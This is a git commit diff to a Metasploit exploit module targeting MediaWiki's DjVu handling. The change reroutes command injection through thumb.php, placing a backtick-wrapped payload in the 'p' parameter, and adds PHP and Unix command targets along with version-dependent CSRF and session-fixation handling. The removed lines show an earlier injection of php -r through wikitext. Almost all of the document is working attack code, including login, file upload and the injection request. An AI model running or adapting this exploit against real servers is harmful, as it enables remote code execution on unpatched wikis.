Use bperry's trigger
parent
76515092ce
commit
2fd8257c7e
|
@ -4,7 +4,6 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'nokogiri'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
@ -13,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MediaWiki DjVu Authenticated Remote Command Execution',
|
||||
'Name' => 'MediaWiki DjVu Thumb Remote Command Execution',
|
||||
'Description' => %q{
|
||||
MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11,
|
||||
when DjVu file upload support is enabled, allows remote authenticated
|
||||
|
@ -23,6 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'Netanel Rubin', # from Check Point - Discovery
|
||||
'Brandon Perry', # Metasploit Module
|
||||
'Ben Harris', # Metasploit Module
|
||||
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
|
||||
],
|
||||
|
@ -35,31 +35,74 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'URL', 'https://bugzilla.wikimedia.org/show_bug.cgi?id=60339' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP, # Could do ARCH_CMD
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
[ 'PHP-CLI',
|
||||
{
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "`\r\n'",
|
||||
'PrependEncoder' => "php -r '",
|
||||
'AppendEncoder' => "'"
|
||||
},
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP
|
||||
}
|
||||
],
|
||||
[ 'CMD',
|
||||
{
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "`",
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl python php',
|
||||
}
|
||||
},
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD
|
||||
}
|
||||
]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\r\n"
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 28 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Base index.php path", '/index.php']),
|
||||
OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
|
||||
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
|
||||
OptString.new('TARGETURI', [ true, "Base MediaWiki path", '/mediawiki' ]),
|
||||
OptString.new('FILENAME', [ false, "Target DjVu file (e.g target.djvu)", nil ]),
|
||||
OptString.new('USERNAME', [ false, "Username to authenticate with", '' ]),
|
||||
OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def get_version(body)
|
||||
meta_generator = get_html_value(body, 'meta', 'generator', 'content')
|
||||
|
||||
unless meta_generator
|
||||
vprint_status("No META Generator tag on #{full_uri}.")
|
||||
return nil, nil, nil
|
||||
end
|
||||
|
||||
if meta_generator && meta_generator =~ /mediawiki/i
|
||||
vprint_status("#{meta_generator} detected.")
|
||||
meta_generator =~ /(\d)\.(\d+)[\.A-z]+(\d+)/
|
||||
major = $1.to_i
|
||||
minor = $2.to_i
|
||||
patch = $3.to_i
|
||||
vprint_status("Major:#{major} Minor:#{minor} Patch:#{patch}")
|
||||
|
||||
return major, minor, patch
|
||||
end
|
||||
|
||||
return nil, nil, nil
|
||||
end
|
||||
|
||||
def check
|
||||
uri = target_uri.path
|
||||
|
||||
opts = { 'uri' => uri }
|
||||
opts = { 'uri' => normalize_uri(uri, 'index.php') }
|
||||
|
||||
response = send_request_cgi_follow_redirect(opts)
|
||||
|
||||
|
@ -75,40 +118,29 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Mediawiki will give a 404 for unknown pages but still have a body
|
||||
if response.code == 200 || response.code == 404
|
||||
vprint_status("#{response.code} response received...")
|
||||
meta_generator = get_html_value(response.body, 'meta', 'generator', 'content')
|
||||
|
||||
unless meta_generator
|
||||
vprint_status("No META Generator tag on #{full_uri}.")
|
||||
major, minor, patch = get_version(response.body)
|
||||
|
||||
unless major
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if meta_generator && meta_generator =~ /mediawiki/i
|
||||
vprint_status("#{meta_generator} detected.")
|
||||
meta_generator =~ /(\d)\.(\d+)[\.A-z]+(\d+)/
|
||||
major = $1.to_i
|
||||
minor = $2.to_i
|
||||
patch = $3.to_i
|
||||
vprint_status("Major:#{major} Minor:#{minor} Patch:#{patch}")
|
||||
|
||||
if major != 1
|
||||
if major != 1
|
||||
return CheckCode::Safe
|
||||
else
|
||||
if minor < 8 || minor > 22
|
||||
return CheckCode::Safe
|
||||
else
|
||||
if minor < 8 || minor > 22
|
||||
if minor == 22 && patch > 1
|
||||
return CheckCode::Safe
|
||||
elsif minor == 21 && patch > 4
|
||||
return CheckCode::Safe
|
||||
elsif minor == 19 && patch > 10
|
||||
return CheckCode::Safe
|
||||
else
|
||||
if minor == 22 && patch > 1
|
||||
return CheckCode::Safe
|
||||
elsif minor == 21 && patch > 4
|
||||
return CheckCode::Safe
|
||||
elsif minor == 19 && patch > 10
|
||||
return CheckCode::Safe
|
||||
else
|
||||
return CheckCode::Appears
|
||||
end
|
||||
return CheckCode::Appears
|
||||
end
|
||||
end
|
||||
else
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
else
|
||||
vprint_status("Received response code #{response.code} from #{full_uri}")
|
||||
|
@ -118,13 +150,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
uri = target_uri.path
|
||||
|
||||
# If we have already identified a DjVu file on the server trigger
|
||||
# the exploit
|
||||
if datastore['FILENAME']
|
||||
payload_request(uri, datastore['FILENAME'])
|
||||
return
|
||||
end
|
||||
|
||||
username = datastore['USERNAME']
|
||||
password = datastore['PASSWORD']
|
||||
uri = target_uri.path
|
||||
|
||||
print_status("Grabbing login CSRF token...")
|
||||
response = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'vars_get' => { 'title' => 'Special:UserLogin' }
|
||||
})
|
||||
|
||||
|
@ -132,6 +172,20 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
|
||||
end
|
||||
|
||||
major, minor, patch = get_version(response.body)
|
||||
|
||||
# Upload CSRF added in v1.18.2
|
||||
# http://www.mediawiki.org/wiki/Release_notes/1.18#Changes_since_1.18.1
|
||||
if ((major == 1) && (minor == 18) && (patch == 0 || patch == 1))
|
||||
upload_csrf = false
|
||||
elsif ((major == 1) && (minor < 18))
|
||||
upload_csrf = false
|
||||
else
|
||||
upload_csrf = true
|
||||
end
|
||||
|
||||
session_fixation = (major == 1 && minor <= 15)
|
||||
|
||||
session_cookie = response.get_cookies
|
||||
|
||||
wp_login_token = get_html_value(response.body, 'input', 'wpLoginToken', 'value')
|
||||
|
@ -144,7 +198,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("Attempting to login...")
|
||||
login = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'method' => 'POST',
|
||||
'vars_get' => {
|
||||
'title' => 'Special:UserLogin',
|
||||
|
@ -168,9 +222,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
auth_cookie = login.get_cookies.gsub('mediawikiToken=deleted;','')
|
||||
|
||||
print_status("Getting upload CSRF token...")
|
||||
# Testing v1.15.1 it looks like it has session fixation
|
||||
# vulnerability so we dont get a new session cookie after
|
||||
# authenticating. Therefore we need to include our old cookie.
|
||||
unless auth_cookie.include? 'session='
|
||||
auth_cookie << session_cookie
|
||||
end
|
||||
|
||||
print_status("Getting upload CSRF token...") if upload_csrf
|
||||
upload_file = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, "/Special:Upload"),
|
||||
'uri' => normalize_uri(uri, 'index.php', 'Special:Upload'),
|
||||
'cookie' => auth_cookie
|
||||
})
|
||||
|
||||
|
@ -178,14 +239,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
fail_with(Failure::NotFound, "Failed to access file upload page.")
|
||||
end
|
||||
|
||||
wp_edit_token = get_html_value(upload_file.body, 'input', 'wpEditToken', 'value')
|
||||
wp_edit_token = get_html_value(upload_file.body, 'input', 'wpEditToken', 'value') if upload_csrf
|
||||
wp_upload = get_html_value(upload_file.body, 'input', 'wpUpload', 'value')
|
||||
title = get_html_value(upload_file.body, 'input', 'title', 'value')
|
||||
|
||||
unless wp_edit_token
|
||||
fail_with(Failure::UnexpectedReply, "Couldn't find upload token. Is URI set correctly?")
|
||||
else
|
||||
if upload_csrf && wp_edit_token
|
||||
print_good("Retrieved upload CSRF token.")
|
||||
elsif upload_csrf
|
||||
fail_with(Failure::UnexpectedReply, "Couldn't find upload token. Is URI set correctly?")
|
||||
end
|
||||
|
||||
upload_mime = Rex::MIME::Message.new
|
||||
|
@ -198,7 +259,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
upload_mime.add_part("#{rand_text_alpha(4)}", nil, nil, "form-data; name=\"wpUploadDescription\"")
|
||||
upload_mime.add_part("", nil, nil, "form-data; name=\"wpLicense\"")
|
||||
upload_mime.add_part("1",nil,nil, "form-data; name=\"wpIgnoreWarning\"")
|
||||
upload_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"")
|
||||
upload_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"") if upload_csrf
|
||||
upload_mime.add_part(title, nil, nil, "form-data; name=\"title\"")
|
||||
upload_mime.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
|
||||
upload_mime.add_part(wp_upload, nil, nil, "form-data; name=\"wpUpload\"")
|
||||
|
@ -208,7 +269,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
upload = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, "Special:Upload"),
|
||||
'uri' => normalize_uri(uri, 'index.php', 'Special:Upload'),
|
||||
'data' => post_data,
|
||||
'ctype' => "multipart/form-data; boundary=#{upload_mime.bound}",
|
||||
'cookie' => auth_cookie
|
||||
|
@ -225,64 +286,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
random_page = rand_text_alpha(8)
|
||||
payload_request(uri, file_name)
|
||||
end
|
||||
|
||||
print_status("Retrieving edit CSRF token for target page: #{random_page}...")
|
||||
random_edit = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'vars_get' => {
|
||||
'title'=> random_page,
|
||||
'action' => 'edit'
|
||||
},
|
||||
'cookie' => auth_cookie
|
||||
})
|
||||
|
||||
unless random_edit and random_edit.code == 200
|
||||
fail_with(Failure::NotFound, "Failed to open target edit page: #{random_page}.")
|
||||
end
|
||||
|
||||
wp_auto_summary = get_html_value(random_edit.body, 'input', 'wpAutoSummary', 'value')
|
||||
wp_edit_token = get_html_value(random_edit.body, 'input', 'wpEditToken', 'value')
|
||||
wp_start_time = get_html_value(random_edit.body, 'input', 'wpStarttime', 'value')
|
||||
wp_edit_time = get_html_value(random_edit.body, 'input', 'wpEdittime', 'value')
|
||||
old_id = get_html_value(random_edit.body, 'input', 'oldid', 'value')
|
||||
wp_scroll_top = get_html_value(random_edit.body, 'input', 'wpScrolltop', 'value')
|
||||
wp_section = get_html_value(random_edit.body, 'input', 'wpSection', 'value')
|
||||
|
||||
if wp_edit_token
|
||||
print_good("Retrieved edit CSRF token.")
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Failed to retrieve edit CSRF token.")
|
||||
end
|
||||
|
||||
edit_mime = Rex::MIME::Message.new
|
||||
edit_mime.add_part(wp_section, nil, nil, "form-data; name=\"wpSection\"")
|
||||
edit_mime.add_part(wp_start_time, nil, nil, "form-data; name=\"wpStarttime\"")
|
||||
edit_mime.add_part(wp_edit_time, nil, nil, "form-data; name=\"wpEdittime\"")
|
||||
edit_mime.add_part(wp_scroll_top, nil, nil, "form-data; name=\"wpScrolltop\"")
|
||||
edit_mime.add_part(wp_auto_summary,nil,nil, "form-data; name=\"wpAutoSummary\"")
|
||||
edit_mime.add_part(old_id, nil, nil, "form-data; name=\"oldid\"")
|
||||
edit_mime.add_part("[[Image:#{file_name}|width=9999|page=1$(php -r '#{payload.encoded}')]]", nil, nil, "form-data; name=\"wpTextbox1\"")
|
||||
edit_mime.add_part("Save page", nil, nil, "form-data; name=\"wpSummary\"")
|
||||
edit_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"")
|
||||
post_data = edit_mime.to_s(true)
|
||||
def payload_request(uri, file_name)
|
||||
p = "1`#{payload.encoded}`"
|
||||
|
||||
print_status("Sending payload request...")
|
||||
edit = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'cookie' => auth_cookie,
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'thumb.php'),
|
||||
'vars_get' => {
|
||||
'title' => random_page,
|
||||
'action' => 'submit'
|
||||
'f' => file_name,
|
||||
'width' => '1',
|
||||
'p' => p
|
||||
},
|
||||
'data' => post_data,
|
||||
'ctype' => "multipart/form-data; boundary=#{edit_mime.bound}"
|
||||
}, 1)
|
||||
|
||||
if edit
|
||||
fail_with(Failure::PayloadFailed, "Server responded to edit request (Not expected).")
|
||||
end
|
||||
})
|
||||
end
|
||||
|
||||
# The order of name, value keeps shifting so regex is painful.
|
||||
|
@ -308,7 +326,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return doc.root.attributes[value]
|
||||
end
|
||||
|
||||
nil
|
||||
''
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue